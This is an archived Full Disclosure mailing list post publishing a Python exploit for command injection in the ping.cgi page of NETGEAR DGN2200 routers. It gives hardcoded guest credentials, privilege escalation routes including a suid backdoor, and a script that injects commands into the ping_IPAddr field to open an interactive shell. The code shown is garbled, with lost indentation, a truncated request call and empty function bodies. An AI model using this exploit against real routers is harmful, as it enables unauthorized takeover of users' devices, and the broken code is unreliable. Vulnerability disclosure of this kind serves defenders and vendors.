NETGEAR DGN2200v1/v2/v3/v4 – ‘ping.cgi’ Remote Command Execution

fulldisclosure logo
Full Disclosure
mailing list archives

NETGEAR DGN2200v1/v2/v3/v4 – ‘ping.cgi’ Remote Command Execution

From: Kroppoloe <kroppoloe () protonmail ch>

Date: Sun, 19 Feb 2017 13:08:08 -0500

# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 NON-ADMIN AUTHENTICATED RCE
# Date: 2017-02-18
# Exploit Author: SivertPL
# Vendor Homepage:
# Software Link:
# Version: (initial) - (latest, still 0-day!)
# Tested on: DGN2200v1,v2,v3,v4

There's a pretty nice command injection vulnerability present in all DGN2200 firmwares.
The vulnerability allows you to view the output of the command which is very convenient.
It doesn't require admin access although user/guest access is necessary to exploit it (some models have hardcoded guest 
credentials: Guest/Guest or Gearguy/Geardog).
The exploit allows to execute OS commands on the router with "nobody" permissions although there are a few ways in 
which you can escalate to r00t

!! These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to !!
There is NO other way to access the OS shell of the router other than by using a vuln.

#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be 
released soon along with the 2nd vuln)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
password = 'password'

def main():
if len(sys.argv) < 2 or len(sys.argv) == 3:
print "./ <router ip>"

def execute(cmd):
r ="http://&quot; + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 
12, 'ping':"Ping", 'ping_IPAddr':"; " + cmd}, auth=(login, password), headers={'referer': 
result = parseOutput(r.text)
return result

def spawnShell():
r = execute("echo pwn3d")

if any("pwn3d" in s for s in r) == False:
print "Something went wrong, is the system vulnerable? Are the credentials correct?"

while True:
cmd = raw_input("$ ")
r = execute(cmd)
for l in r:
print l.encode("utf-8")

def parseOutput(output):
yet = False
a = False
result = []
for line in output.splitlines():
if line.startswith("<textarea"):
yet = True
if yet == True:
if line.startswith("</textarea>"):
return result

if __name__ == "__main__":

Sent through the Full Disclosure mailing list
Web Archives & RSS:

  By Date  
  By Thread  

Current thread:

  • NETGEAR DGN2200v1/v2/v3/v4 – ‘ping.cgi’ Remote Command Execution Kroppoloe (Feb 21)

Source: Full Disclosure @ February 21, 2017 at 01:04PM